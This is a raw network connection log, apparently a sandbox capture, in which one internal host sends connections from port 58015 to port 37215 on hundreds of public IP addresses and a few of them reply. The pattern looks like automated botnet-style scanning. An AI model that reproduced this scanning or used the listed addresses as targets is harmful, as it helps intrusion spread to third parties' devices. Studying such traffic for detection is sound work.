Jan 22, 2024 03:59:37.561224937 CET	58015	37215	192.168.2.20	197.57.232.216
Jan 22, 2024 03:59:37.561245918 CET	58015	37215	192.168.2.20	41.51.149.147
Jan 22, 2024 03:59:37.561256886 CET	58015	37215	192.168.2.20	197.188.48.95
Jan 22, 2024 03:59:37.561270952 CET	58015	37215	192.168.2.20	181.26.188.226
Jan 22, 2024 03:59:37.561285973 CET	58015	37215	192.168.2.20	222.42.223.142
Jan 22, 2024 03:59:37.561306953 CET	58015	37215	192.168.2.20	41.236.243.1
Jan 22, 2024 03:59:37.561322927 CET	58015	37215	192.168.2.20	156.67.106.26
Jan 22, 2024 03:59:37.561333895 CET	58015	37215	192.168.2.20	156.95.62.198
Jan 22, 2024 03:59:37.561361074 CET	58015	37215	192.168.2.20	197.70.196.4
Jan 22, 2024 03:59:37.561387062 CET	58015	37215	192.168.2.20	156.114.147.25
Jan 22, 2024 03:59:37.561419010 CET	58015	37215	192.168.2.20	222.177.141.198
Jan 22, 2024 03:59:37.561427116 CET	58015	37215	192.168.2.20	95.197.89.159
Jan 22, 2024 03:59:37.561428070 CET	58015	37215	192.168.2.20	157.56.1.213
Jan 22, 2024 03:59:37.561450005 CET	58015	37215	192.168.2.20	138.242.100.25
Jan 22, 2024 03:59:37.561461926 CET	58015	37215	192.168.2.20	157.78.117.105
Jan 22, 2024 03:59:37.561479092 CET	58015	37215	192.168.2.20	154.137.2.218
Jan 22, 2024 03:59:37.561502934 CET	58015	37215	192.168.2.20	41.170.49.158
Jan 22, 2024 03:59:37.561518908 CET	58015	37215	192.168.2.20	190.141.137.29
Jan 22, 2024 03:59:37.561534882 CET	58015	37215	192.168.2.20	156.47.19.33
Jan 22, 2024 03:59:37.561543941 CET	58015	37215	192.168.2.20	197.181.24.139
Jan 22, 2024 03:59:37.561559916 CET	58015	37215	192.168.2.20	156.102.25.176
Jan 22, 2024 03:59:37.561583042 CET	58015	37215	192.168.2.20	197.88.193.104
Jan 22, 2024 03:59:37.561599016 CET	58015	37215	192.168.2.20	197.35.82.21
Jan 22, 2024 03:59:37.561609983 CET	58015	37215	192.168.2.20	156.113.196.97
Jan 22, 2024 03:59:37.561630964 CET	58015	37215	192.168.2.20	197.73.153.94
Jan 22, 2024 03:59:37.561657906 CET	58015	37215	192.168.2.20	122.100.70.127
Jan 22, 2024 03:59:37.561657906 CET	58015	37215	192.168.2.20	120.62.155.249
Jan 22, 2024 03:59:37.561671972 CET	58015	37215	192.168.2.20	197.187.150.48
Jan 22, 2024 03:59:37.561683893 CET	58015	37215	192.168.2.20	41.36.123.122
Jan 22, 2024 03:59:37.561703920 CET	58015	37215	192.168.2.20	122.78.26.253
Jan 22, 2024 03:59:37.561728001 CET	58015	37215	192.168.2.20	41.117.175.114
Jan 22, 2024 03:59:37.561743021 CET	58015	37215	192.168.2.20	222.131.76.229
Jan 22, 2024 03:59:37.561767101 CET	58015	37215	192.168.2.20	197.142.45.199
Jan 22, 2024 03:59:37.561767101 CET	58015	37215	192.168.2.20	156.185.109.9
Jan 22, 2024 03:59:37.561784983 CET	58015	37215	192.168.2.20	154.47.233.89
Jan 22, 2024 03:59:37.561839104 CET	58015	37215	192.168.2.20	197.58.21.72
Jan 22, 2024 03:59:37.561839104 CET	58015	37215	192.168.2.20	197.137.97.67
Jan 22, 2024 03:59:37.561856031 CET	58015	37215	192.168.2.20	120.82.44.224
Jan 22, 2024 03:59:37.561872959 CET	58015	37215	192.168.2.20	156.249.242.121
Jan 22, 2024 03:59:37.561882019 CET	58015	37215	192.168.2.20	197.188.192.54
Jan 22, 2024 03:59:37.561911106 CET	58015	37215	192.168.2.20	156.28.200.89
Jan 22, 2024 03:59:37.561919928 CET	58015	37215	192.168.2.20	196.219.163.195
Jan 22, 2024 03:59:37.561939001 CET	58015	37215	192.168.2.20	102.205.143.248
Jan 22, 2024 03:59:37.561964989 CET	58015	37215	192.168.2.20	197.169.80.207
Jan 22, 2024 03:59:37.561983109 CET	58015	37215	192.168.2.20	120.219.82.183
Jan 22, 2024 03:59:37.561995983 CET	58015	37215	192.168.2.20	197.237.212.104
Jan 22, 2024 03:59:37.562020063 CET	58015	37215	192.168.2.20	181.29.214.98
Jan 22, 2024 03:59:37.562021017 CET	58015	37215	192.168.2.20	156.33.173.110
Jan 22, 2024 03:59:37.562037945 CET	58015	37215	192.168.2.20	41.69.154.64
Jan 22, 2024 03:59:37.562062979 CET	58015	37215	192.168.2.20	196.255.28.150
Jan 22, 2024 03:59:37.562076092 CET	58015	37215	192.168.2.20	156.255.35.158
Jan 22, 2024 03:59:37.562103987 CET	58015	37215	192.168.2.20	197.150.236.64
Jan 22, 2024 03:59:37.562119961 CET	58015	37215	192.168.2.20	156.87.217.54
Jan 22, 2024 03:59:37.562129021 CET	58015	37215	192.168.2.20	120.188.8.40
Jan 22, 2024 03:59:37.562139988 CET	58015	37215	192.168.2.20	156.87.162.74
Jan 22, 2024 03:59:37.562164068 CET	58015	37215	192.168.2.20	157.144.54.20
Jan 22, 2024 03:59:37.562176943 CET	58015	37215	192.168.2.20	156.125.227.223
Jan 22, 2024 03:59:37.562191010 CET	58015	37215	192.168.2.20	92.103.6.27
Jan 22, 2024 03:59:37.562216997 CET	58015	37215	192.168.2.20	196.214.97.48
Jan 22, 2024 03:59:37.562225103 CET	58015	37215	192.168.2.20	41.84.189.32
Jan 22, 2024 03:59:37.562248945 CET	58015	37215	192.168.2.20	197.58.233.80
Jan 22, 2024 03:59:37.562266111 CET	58015	37215	192.168.2.20	138.57.10.12
Jan 22, 2024 03:59:37.562275887 CET	58015	37215	192.168.2.20	156.169.238.190
Jan 22, 2024 03:59:37.562293053 CET	58015	37215	192.168.2.20	122.36.99.74
Jan 22, 2024 03:59:37.562313080 CET	58015	37215	192.168.2.20	41.71.245.54
Jan 22, 2024 03:59:37.562328100 CET	58015	37215	192.168.2.20	138.212.106.144
Jan 22, 2024 03:59:37.562344074 CET	58015	37215	192.168.2.20	120.105.144.99
Jan 22, 2024 03:59:37.562371969 CET	58015	37215	192.168.2.20	41.28.173.252
Jan 22, 2024 03:59:37.562376976 CET	58015	37215	192.168.2.20	41.190.146.155
Jan 22, 2024 03:59:37.562391996 CET	58015	37215	192.168.2.20	37.122.30.173
Jan 22, 2024 03:59:37.562416077 CET	58015	37215	192.168.2.20	157.171.174.220
Jan 22, 2024 03:59:37.562424898 CET	58015	37215	192.168.2.20	41.223.43.50
Jan 22, 2024 03:59:37.562457085 CET	58015	37215	192.168.2.20	120.232.217.124
Jan 22, 2024 03:59:37.562459946 CET	58015	37215	192.168.2.20	156.210.119.193
Jan 22, 2024 03:59:37.562472105 CET	58015	37215	192.168.2.20	92.85.201.77
Jan 22, 2024 03:59:37.562484026 CET	58015	37215	192.168.2.20	197.12.211.186
Jan 22, 2024 03:59:37.562504053 CET	58015	37215	192.168.2.20	197.233.71.174
Jan 22, 2024 03:59:37.562534094 CET	58015	37215	192.168.2.20	197.156.190.140
Jan 22, 2024 03:59:37.562541962 CET	58015	37215	192.168.2.20	41.120.218.116
Jan 22, 2024 03:59:37.562570095 CET	58015	37215	192.168.2.20	156.186.85.122
Jan 22, 2024 03:59:37.562582970 CET	58015	37215	192.168.2.20	156.182.92.53
Jan 22, 2024 03:59:37.562608957 CET	58015	37215	192.168.2.20	102.181.187.135
Jan 22, 2024 03:59:37.562608957 CET	58015	37215	192.168.2.20	160.228.81.3
Jan 22, 2024 03:59:37.562629938 CET	58015	37215	192.168.2.20	41.20.124.180
Jan 22, 2024 03:59:37.562695026 CET	58015	37215	192.168.2.20	41.174.250.95
Jan 22, 2024 03:59:37.562757969 CET	58015	37215	192.168.2.20	120.28.45.191
Jan 22, 2024 03:59:37.562828064 CET	58015	37215	192.168.2.20	41.237.15.185
Jan 22, 2024 03:59:37.562899113 CET	58015	37215	192.168.2.20	41.62.17.127
Jan 22, 2024 03:59:37.562966108 CET	58015	37215	192.168.2.20	94.39.126.34
Jan 22, 2024 03:59:37.563045979 CET	58015	37215	192.168.2.20	156.39.115.29
Jan 22, 2024 03:59:37.563117027 CET	58015	37215	192.168.2.20	102.105.171.110
Jan 22, 2024 03:59:37.563208103 CET	58015	37215	192.168.2.20	156.203.81.80
Jan 22, 2024 03:59:37.563266039 CET	58015	37215	192.168.2.20	138.177.34.26
Jan 22, 2024 03:59:37.563333035 CET	58015	37215	192.168.2.20	197.23.78.198
Jan 22, 2024 03:59:37.563354969 CET	58015	37215	192.168.2.20	156.43.114.57
Jan 22, 2024 03:59:37.563378096 CET	58015	37215	192.168.2.20	41.159.82.207
Jan 22, 2024 03:59:37.563400984 CET	58015	37215	192.168.2.20	156.143.250.98
Jan 22, 2024 03:59:37.563436985 CET	58015	37215	192.168.2.20	156.254.107.121
Jan 22, 2024 03:59:37.563465118 CET	58015	37215	192.168.2.20	197.204.226.183
Jan 22, 2024 03:59:37.563489914 CET	58015	37215	192.168.2.20	156.76.104.104
Jan 22, 2024 03:59:37.563509941 CET	58015	37215	192.168.2.20	41.23.205.218
Jan 22, 2024 03:59:37.563544989 CET	58015	37215	192.168.2.20	190.235.111.23
Jan 22, 2024 03:59:37.563556910 CET	58015	37215	192.168.2.20	92.206.18.106
Jan 22, 2024 03:59:37.563585043 CET	58015	37215	192.168.2.20	156.74.141.104
Jan 22, 2024 03:59:37.563602924 CET	58015	37215	192.168.2.20	45.247.132.116
Jan 22, 2024 03:59:37.563637972 CET	58015	37215	192.168.2.20	190.107.58.87
Jan 22, 2024 03:59:37.563637972 CET	58015	37215	192.168.2.20	107.218.50.203
Jan 22, 2024 03:59:37.563644886 CET	58015	37215	192.168.2.20	156.124.87.6
Jan 22, 2024 03:59:37.563659906 CET	58015	37215	192.168.2.20	181.89.247.229
Jan 22, 2024 03:59:37.563684940 CET	58015	37215	192.168.2.20	41.56.154.99
Jan 22, 2024 03:59:37.563692093 CET	58015	37215	192.168.2.20	197.137.196.157
Jan 22, 2024 03:59:37.563705921 CET	58015	37215	192.168.2.20	197.78.226.17
Jan 22, 2024 03:59:37.563724041 CET	58015	37215	192.168.2.20	41.239.124.112
Jan 22, 2024 03:59:37.563741922 CET	58015	37215	192.168.2.20	92.252.91.96
Jan 22, 2024 03:59:37.563766956 CET	58015	37215	192.168.2.20	41.196.101.91
Jan 22, 2024 03:59:37.563774109 CET	58015	37215	192.168.2.20	156.235.255.164
Jan 22, 2024 03:59:37.563790083 CET	58015	37215	192.168.2.20	37.12.101.223
Jan 22, 2024 03:59:37.563812971 CET	58015	37215	192.168.2.20	41.25.218.227
Jan 22, 2024 03:59:37.563822985 CET	58015	37215	192.168.2.20	190.93.192.195
Jan 22, 2024 03:59:37.563841105 CET	58015	37215	192.168.2.20	197.36.170.207
Jan 22, 2024 03:59:37.563849926 CET	58015	37215	192.168.2.20	156.251.200.90
Jan 22, 2024 03:59:37.563874006 CET	58015	37215	192.168.2.20	156.79.182.184
Jan 22, 2024 03:59:37.563894987 CET	58015	37215	192.168.2.20	41.186.59.32
Jan 22, 2024 03:59:37.563910007 CET	58015	37215	192.168.2.20	45.118.94.243
Jan 22, 2024 03:59:37.563919067 CET	58015	37215	192.168.2.20	41.178.216.93
Jan 22, 2024 03:59:37.563940048 CET	58015	37215	192.168.2.20	94.119.32.204
Jan 22, 2024 03:59:37.563958883 CET	58015	37215	192.168.2.20	156.125.43.249
Jan 22, 2024 03:59:37.563972950 CET	58015	37215	192.168.2.20	197.30.124.126
Jan 22, 2024 03:59:37.563982010 CET	58015	37215	192.168.2.20	41.21.52.11
Jan 22, 2024 03:59:37.563998938 CET	58015	37215	192.168.2.20	197.35.119.133
Jan 22, 2024 03:59:37.564017057 CET	58015	37215	192.168.2.20	121.161.40.184
Jan 22, 2024 03:59:37.564038992 CET	58015	37215	192.168.2.20	197.134.4.225
Jan 22, 2024 03:59:37.564054012 CET	58015	37215	192.168.2.20	156.158.167.190
Jan 22, 2024 03:59:37.564074039 CET	58015	37215	192.168.2.20	138.84.226.226
Jan 22, 2024 03:59:37.564110994 CET	58015	37215	192.168.2.20	156.186.82.208
Jan 22, 2024 03:59:37.564110994 CET	58015	37215	192.168.2.20	222.216.167.18
Jan 22, 2024 03:59:37.564124107 CET	58015	37215	192.168.2.20	107.52.250.150
Jan 22, 2024 03:59:37.564138889 CET	58015	37215	192.168.2.20	156.210.221.49
Jan 22, 2024 03:59:37.564155102 CET	58015	37215	192.168.2.20	197.69.165.208
Jan 22, 2024 03:59:37.564173937 CET	58015	37215	192.168.2.20	197.51.57.71
Jan 22, 2024 03:59:37.564197063 CET	58015	37215	192.168.2.20	160.98.157.113
Jan 22, 2024 03:59:37.564203978 CET	58015	37215	192.168.2.20	156.153.124.33
Jan 22, 2024 03:59:37.564224958 CET	58015	37215	192.168.2.20	181.37.226.124
Jan 22, 2024 03:59:37.564239979 CET	58015	37215	192.168.2.20	41.23.72.169
Jan 22, 2024 03:59:37.564263105 CET	58015	37215	192.168.2.20	197.217.248.174
Jan 22, 2024 03:59:37.564274073 CET	58015	37215	192.168.2.20	197.160.237.85
Jan 22, 2024 03:59:37.564287901 CET	58015	37215	192.168.2.20	122.124.176.194
Jan 22, 2024 03:59:37.564312935 CET	58015	37215	192.168.2.20	107.117.152.55
Jan 22, 2024 03:59:37.564327002 CET	58015	37215	192.168.2.20	156.88.39.250
Jan 22, 2024 03:59:37.564337969 CET	58015	37215	192.168.2.20	197.38.146.79
Jan 22, 2024 03:59:37.564352989 CET	58015	37215	192.168.2.20	156.151.40.229
Jan 22, 2024 03:59:37.564378023 CET	58015	37215	192.168.2.20	41.204.189.94
Jan 22, 2024 03:59:37.564388037 CET	58015	37215	192.168.2.20	121.250.224.223
Jan 22, 2024 03:59:37.564403057 CET	58015	37215	192.168.2.20	197.19.68.101
Jan 22, 2024 03:59:37.564428091 CET	58015	37215	192.168.2.20	94.89.182.242
Jan 22, 2024 03:59:37.564436913 CET	58015	37215	192.168.2.20	156.14.35.132
Jan 22, 2024 03:59:37.564464092 CET	58015	37215	192.168.2.20	41.9.22.50
Jan 22, 2024 03:59:37.564471006 CET	58015	37215	192.168.2.20	41.71.140.123
Jan 22, 2024 03:59:37.564493895 CET	58015	37215	192.168.2.20	156.125.213.211
Jan 22, 2024 03:59:37.564507961 CET	58015	37215	192.168.2.20	41.139.163.129
Jan 22, 2024 03:59:37.564526081 CET	58015	37215	192.168.2.20	41.89.139.13
Jan 22, 2024 03:59:37.564541101 CET	58015	37215	192.168.2.20	41.21.52.206
Jan 22, 2024 03:59:37.564549923 CET	58015	37215	192.168.2.20	197.133.61.64
Jan 22, 2024 03:59:37.564574957 CET	58015	37215	192.168.2.20	156.79.12.215
Jan 22, 2024 03:59:37.564589977 CET	58015	37215	192.168.2.20	156.90.87.93
Jan 22, 2024 03:59:37.564599991 CET	58015	37215	192.168.2.20	154.182.98.128
Jan 22, 2024 03:59:37.564620972 CET	58015	37215	192.168.2.20	41.9.225.10
Jan 22, 2024 03:59:37.564644098 CET	58015	37215	192.168.2.20	156.21.231.62
Jan 22, 2024 03:59:37.564660072 CET	58015	37215	192.168.2.20	156.181.170.103
Jan 22, 2024 03:59:37.564671040 CET	58015	37215	192.168.2.20	41.10.239.119
Jan 22, 2024 03:59:37.564690113 CET	58015	37215	192.168.2.20	122.115.90.76
Jan 22, 2024 03:59:37.564702034 CET	58015	37215	192.168.2.20	45.51.179.204
Jan 22, 2024 03:59:37.564718962 CET	58015	37215	192.168.2.20	197.79.235.19
Jan 22, 2024 03:59:37.564742088 CET	58015	37215	192.168.2.20	154.76.56.91
Jan 22, 2024 03:59:37.564759016 CET	58015	37215	192.168.2.20	37.132.85.229
Jan 22, 2024 03:59:37.564774990 CET	58015	37215	192.168.2.20	94.251.7.133
Jan 22, 2024 03:59:37.564799070 CET	58015	37215	192.168.2.20	41.174.191.151
Jan 22, 2024 03:59:37.564799070 CET	58015	37215	192.168.2.20	41.249.27.157
Jan 22, 2024 03:59:37.564810991 CET	58015	37215	192.168.2.20	156.180.201.199
Jan 22, 2024 03:59:37.564838886 CET	58015	37215	192.168.2.20	156.91.130.66
Jan 22, 2024 03:59:37.564846992 CET	58015	37215	192.168.2.20	92.113.75.21
Jan 22, 2024 03:59:37.564870119 CET	58015	37215	192.168.2.20	197.232.148.152
Jan 22, 2024 03:59:37.564887047 CET	58015	37215	192.168.2.20	94.182.179.164
Jan 22, 2024 03:59:37.564896107 CET	58015	37215	192.168.2.20	95.227.143.215
Jan 22, 2024 03:59:37.564919949 CET	58015	37215	192.168.2.20	92.11.74.59
Jan 22, 2024 03:59:37.564939976 CET	58015	37215	192.168.2.20	41.252.235.120
Jan 22, 2024 03:59:37.564965963 CET	58015	37215	192.168.2.20	120.153.251.234
Jan 22, 2024 03:59:37.564970970 CET	58015	37215	192.168.2.20	156.181.24.37
Jan 22, 2024 03:59:37.564990044 CET	58015	37215	192.168.2.20	197.165.234.13
Jan 22, 2024 03:59:37.565001965 CET	58015	37215	192.168.2.20	222.153.96.107
Jan 22, 2024 03:59:37.565018892 CET	58015	37215	192.168.2.20	107.241.33.183
Jan 22, 2024 03:59:37.565035105 CET	58015	37215	192.168.2.20	156.67.144.119
Jan 22, 2024 03:59:37.565058947 CET	58015	37215	192.168.2.20	197.140.40.177
Jan 22, 2024 03:59:37.565068007 CET	58015	37215	192.168.2.20	41.155.160.148
Jan 22, 2024 03:59:37.565090895 CET	58015	37215	192.168.2.20	197.121.86.96
Jan 22, 2024 03:59:37.565100908 CET	58015	37215	192.168.2.20	181.92.161.28
Jan 22, 2024 03:59:37.565120935 CET	58015	37215	192.168.2.20	156.214.111.76
Jan 22, 2024 03:59:37.565144062 CET	58015	37215	192.168.2.20	197.134.64.42
Jan 22, 2024 03:59:37.565159082 CET	58015	37215	192.168.2.20	41.155.234.0
Jan 22, 2024 03:59:37.565174103 CET	58015	37215	192.168.2.20	41.45.41.181
Jan 22, 2024 03:59:37.565191984 CET	58015	37215	192.168.2.20	41.185.251.140
Jan 22, 2024 03:59:37.565207005 CET	58015	37215	192.168.2.20	41.217.165.206
Jan 22, 2024 03:59:37.565249920 CET	58015	37215	192.168.2.20	122.146.52.82
Jan 22, 2024 03:59:37.565249920 CET	58015	37215	192.168.2.20	154.140.201.45
Jan 22, 2024 03:59:37.565257072 CET	58015	37215	192.168.2.20	197.242.43.145
Jan 22, 2024 03:59:37.565279007 CET	58015	37215	192.168.2.20	37.244.91.73
Jan 22, 2024 03:59:37.565299034 CET	58015	37215	192.168.2.20	197.215.171.165
Jan 22, 2024 03:59:37.565323114 CET	58015	37215	192.168.2.20	197.211.232.37
Jan 22, 2024 03:59:37.565331936 CET	58015	37215	192.168.2.20	122.136.255.252
Jan 22, 2024 03:59:37.684271097 CET	37215	58015	45.15.162.84	192.168.2.20
Jan 22, 2024 03:59:37.691009998 CET	37215	58015	107.241.33.183	192.168.2.20
Jan 22, 2024 03:59:37.772646904 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:37.786803007 CET	37215	58015	94.73.50.102	192.168.2.20
Jan 22, 2024 03:59:37.851495028 CET	37215	58015	121.161.40.184	192.168.2.20
Jan 22, 2024 03:59:37.858843088 CET	37215	58015	92.61.188.19	192.168.2.20
Jan 22, 2024 03:59:37.907537937 CET	37215	58015	156.254.107.121	192.168.2.20
Jan 22, 2024 03:59:37.955737114 CET	37215	58015	122.136.255.252	192.168.2.20
Jan 22, 2024 03:59:37.956527948 CET	34834	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:38.544725895 CET	51028	37215	192.168.2.20	156.254.78.254
Jan 22, 2024 03:59:38.566667080 CET	58015	37215	192.168.2.20	197.17.151.36
Jan 22, 2024 03:59:38.566673994 CET	58015	37215	192.168.2.20	41.253.151.137
Jan 22, 2024 03:59:38.566679001 CET	58015	37215	192.168.2.20	92.137.254.5
Jan 22, 2024 03:59:38.566683054 CET	58015	37215	192.168.2.20	222.65.234.134
Jan 22, 2024 03:59:38.566683054 CET	58015	37215	192.168.2.20	196.68.24.87
Jan 22, 2024 03:59:38.566704988 CET	58015	37215	192.168.2.20	41.104.171.212
Jan 22, 2024 03:59:38.566729069 CET	58015	37215	192.168.2.20	107.254.72.62
Jan 22, 2024 03:59:38.566775084 CET	58015	37215	192.168.2.20	197.244.148.9
Jan 22, 2024 03:59:38.566781044 CET	58015	37215	192.168.2.20	197.208.64.160
Jan 22, 2024 03:59:38.566785097 CET	58015	37215	192.168.2.20	160.157.223.77
Jan 22, 2024 03:59:38.566781998 CET	58015	37215	192.168.2.20	197.211.222.233
Jan 22, 2024 03:59:38.566807032 CET	58015	37215	192.168.2.20	197.161.15.188
Jan 22, 2024 03:59:38.566806078 CET	58015	37215	192.168.2.20	157.73.179.44
Jan 22, 2024 03:59:38.566807032 CET	58015	37215	192.168.2.20	156.67.250.81
Jan 22, 2024 03:59:38.566807032 CET	58015	37215	192.168.2.20	156.235.69.206
Jan 22, 2024 03:59:38.566807032 CET	58015	37215	192.168.2.20	138.123.13.0
Jan 22, 2024 03:59:38.566807032 CET	58015	37215	192.168.2.20	156.168.70.107
Jan 22, 2024 03:59:38.566807032 CET	58015	37215	192.168.2.20	197.193.72.86
Jan 22, 2024 03:59:38.566823006 CET	58015	37215	192.168.2.20	41.250.100.206
Jan 22, 2024 03:59:38.566838026 CET	58015	37215	192.168.2.20	138.180.2.1
Jan 22, 2024 03:59:38.566864014 CET	58015	37215	192.168.2.20	37.142.47.155
Jan 22, 2024 03:59:38.566894054 CET	58015	37215	192.168.2.20	197.61.106.11
Jan 22, 2024 03:59:38.566910982 CET	58015	37215	192.168.2.20	41.159.165.52
Jan 22, 2024 03:59:38.566910982 CET	58015	37215	192.168.2.20	197.3.148.125
Jan 22, 2024 03:59:38.566951990 CET	58015	37215	192.168.2.20	197.42.205.71
Jan 22, 2024 03:59:38.566968918 CET	58015	37215	192.168.2.20	156.53.241.167
Jan 22, 2024 03:59:38.566994905 CET	58015	37215	192.168.2.20	197.255.72.116
Jan 22, 2024 03:59:38.567028046 CET	58015	37215	192.168.2.20	197.98.106.107
Jan 22, 2024 03:59:38.567060947 CET	58015	37215	192.168.2.20	156.82.119.50
Jan 22, 2024 03:59:38.567061901 CET	58015	37215	192.168.2.20	107.196.33.239
Jan 22, 2024 03:59:38.567063093 CET	58015	37215	192.168.2.20	102.81.192.220
Jan 22, 2024 03:59:38.567063093 CET	58015	37215	192.168.2.20	156.134.178.26
Jan 22, 2024 03:59:38.567095041 CET	58015	37215	192.168.2.20	156.182.139.111
Jan 22, 2024 03:59:38.567112923 CET	58015	37215	192.168.2.20	41.246.134.122
Jan 22, 2024 03:59:38.567118883 CET	58015	37215	192.168.2.20	156.178.229.222
Jan 22, 2024 03:59:38.567162037 CET	58015	37215	192.168.2.20	181.58.105.173
Jan 22, 2024 03:59:38.567162037 CET	58015	37215	192.168.2.20	41.158.44.228
Jan 22, 2024 03:59:38.567167044 CET	58015	37215	192.168.2.20	197.185.248.77
Jan 22, 2024 03:59:38.567172050 CET	58015	37215	192.168.2.20	197.19.80.39
Jan 22, 2024 03:59:38.567184925 CET	58015	37215	192.168.2.20	156.165.66.36
Jan 22, 2024 03:59:38.567218065 CET	58015	37215	192.168.2.20	197.185.209.128
Jan 22, 2024 03:59:38.567235947 CET	58015	37215	192.168.2.20	181.214.138.20
Jan 22, 2024 03:59:38.567241907 CET	58015	37215	192.168.2.20	41.183.254.226
Jan 22, 2024 03:59:38.567259073 CET	58015	37215	192.168.2.20	41.114.51.78
Jan 22, 2024 03:59:38.567277908 CET	58015	37215	192.168.2.20	41.8.108.165
Jan 22, 2024 03:59:38.567296028 CET	58015	37215	192.168.2.20	122.88.236.33
Jan 22, 2024 03:59:38.567313910 CET	58015	37215	192.168.2.20	107.145.229.103
Jan 22, 2024 03:59:38.567337036 CET	58015	37215	192.168.2.20	41.66.210.70
Jan 22, 2024 03:59:38.567342043 CET	58015	37215	192.168.2.20	197.142.36.244
Jan 22, 2024 03:59:38.567373991 CET	58015	37215	192.168.2.20	41.190.167.204
Jan 22, 2024 03:59:38.567389011 CET	58015	37215	192.168.2.20	41.216.174.65
Jan 22, 2024 03:59:38.567449093 CET	58015	37215	192.168.2.20	41.70.107.15
Jan 22, 2024 03:59:38.567455053 CET	58015	37215	192.168.2.20	121.35.85.204
Jan 22, 2024 03:59:38.567471027 CET	58015	37215	192.168.2.20	41.138.169.206
Jan 22, 2024 03:59:38.567480087 CET	58015	37215	192.168.2.20	197.136.135.55
Jan 22, 2024 03:59:38.567487001 CET	58015	37215	192.168.2.20	121.206.124.137
Jan 22, 2024 03:59:38.567497969 CET	58015	37215	192.168.2.20	41.196.185.220
Jan 22, 2024 03:59:38.567528009 CET	58015	37215	192.168.2.20	197.243.188.234
Jan 22, 2024 03:59:38.567528009 CET	58015	37215	192.168.2.20	222.243.64.20
Jan 22, 2024 03:59:38.567550898 CET	58015	37215	192.168.2.20	45.107.65.126
Jan 22, 2024 03:59:38.567559958 CET	58015	37215	192.168.2.20	222.145.127.178
Jan 22, 2024 03:59:38.567593098 CET	58015	37215	192.168.2.20	197.201.86.190
Jan 22, 2024 03:59:38.567600965 CET	58015	37215	192.168.2.20	107.163.186.161
Jan 22, 2024 03:59:38.567625046 CET	58015	37215	192.168.2.20	102.201.120.105
Jan 22, 2024 03:59:38.567625999 CET	58015	37215	192.168.2.20	197.36.202.213
Jan 22, 2024 03:59:38.567658901 CET	58015	37215	192.168.2.20	95.120.9.110
Jan 22, 2024 03:59:38.567692995 CET	58015	37215	192.168.2.20	102.246.52.117
Jan 22, 2024 03:59:38.567697048 CET	58015	37215	192.168.2.20	156.43.143.247
Jan 22, 2024 03:59:38.567715883 CET	58015	37215	192.168.2.20	156.72.84.39
Jan 22, 2024 03:59:38.567739010 CET	58015	37215	192.168.2.20	156.202.139.39
Jan 22, 2024 03:59:38.567749023 CET	58015	37215	192.168.2.20	156.3.247.35
Jan 22, 2024 03:59:38.567749023 CET	58015	37215	192.168.2.20	41.240.77.189
Jan 22, 2024 03:59:38.567763090 CET	58015	37215	192.168.2.20	156.233.240.106
Jan 22, 2024 03:59:38.567768097 CET	58015	37215	192.168.2.20	37.76.139.239
Jan 22, 2024 03:59:38.567786932 CET	58015	37215	192.168.2.20	156.215.99.127
Jan 22, 2024 03:59:38.567812920 CET	58015	37215	192.168.2.20	181.96.3.2
Jan 22, 2024 03:59:38.567828894 CET	58015	37215	192.168.2.20	156.215.41.88
Jan 22, 2024 03:59:38.567836046 CET	58015	37215	192.168.2.20	154.72.155.51
Jan 22, 2024 03:59:38.567867994 CET	58015	37215	192.168.2.20	41.115.52.234
Jan 22, 2024 03:59:38.567871094 CET	58015	37215	192.168.2.20	107.247.223.165
Jan 22, 2024 03:59:38.567872047 CET	58015	37215	192.168.2.20	41.217.235.219
Jan 22, 2024 03:59:38.567886114 CET	58015	37215	192.168.2.20	222.221.28.171
Jan 22, 2024 03:59:38.567917109 CET	58015	37215	192.168.2.20	41.201.246.196
Jan 22, 2024 03:59:38.567939043 CET	58015	37215	192.168.2.20	197.129.232.81
Jan 22, 2024 03:59:38.567954063 CET	58015	37215	192.168.2.20	156.226.142.166
Jan 22, 2024 03:59:38.567956924 CET	58015	37215	192.168.2.20	156.94.146.211
Jan 22, 2024 03:59:38.567976952 CET	58015	37215	192.168.2.20	197.237.197.218
Jan 22, 2024 03:59:38.567987919 CET	58015	37215	192.168.2.20	197.207.64.118
Jan 22, 2024 03:59:38.567998886 CET	58015	37215	192.168.2.20	94.196.241.213
Jan 22, 2024 03:59:38.568038940 CET	58015	37215	192.168.2.20	41.176.172.101
Jan 22, 2024 03:59:38.568038940 CET	58015	37215	192.168.2.20	197.245.126.64
Jan 22, 2024 03:59:38.568057060 CET	58015	37215	192.168.2.20	121.133.4.252
Jan 22, 2024 03:59:38.568080902 CET	58015	37215	192.168.2.20	41.33.108.148
Jan 22, 2024 03:59:38.568089008 CET	58015	37215	192.168.2.20	157.119.101.106
Jan 22, 2024 03:59:38.568099022 CET	58015	37215	192.168.2.20	156.131.65.146
Jan 22, 2024 03:59:38.568120956 CET	58015	37215	192.168.2.20	41.212.49.81
Jan 22, 2024 03:59:38.568139076 CET	58015	37215	192.168.2.20	41.228.28.173
Jan 22, 2024 03:59:38.568171024 CET	58015	37215	192.168.2.20	156.131.77.219
Jan 22, 2024 03:59:38.568178892 CET	58015	37215	192.168.2.20	41.203.188.150
Jan 22, 2024 03:59:38.568207979 CET	58015	37215	192.168.2.20	107.86.126.249
Jan 22, 2024 03:59:38.568221092 CET	58015	37215	192.168.2.20	154.87.47.33
Jan 22, 2024 03:59:38.568228960 CET	58015	37215	192.168.2.20	156.189.98.206
Jan 22, 2024 03:59:38.568243980 CET	58015	37215	192.168.2.20	41.148.170.176
Jan 22, 2024 03:59:38.568279028 CET	58015	37215	192.168.2.20	156.206.127.65
Jan 22, 2024 03:59:38.568299055 CET	58015	37215	192.168.2.20	156.20.242.68
Jan 22, 2024 03:59:38.568321943 CET	58015	37215	192.168.2.20	156.100.47.211
Jan 22, 2024 03:59:38.568352938 CET	58015	37215	192.168.2.20	156.85.144.95
Jan 22, 2024 03:59:38.568377972 CET	58015	37215	192.168.2.20	41.191.186.239
Jan 22, 2024 03:59:38.568387985 CET	58015	37215	192.168.2.20	107.26.83.51
Jan 22, 2024 03:59:38.568420887 CET	58015	37215	192.168.2.20	41.156.235.54
Jan 22, 2024 03:59:38.568429947 CET	58015	37215	192.168.2.20	156.166.167.243
Jan 22, 2024 03:59:38.568439007 CET	58015	37215	192.168.2.20	197.227.139.80
Jan 22, 2024 03:59:38.568453074 CET	58015	37215	192.168.2.20	197.43.27.41
Jan 22, 2024 03:59:38.568456888 CET	58015	37215	192.168.2.20	41.153.192.22
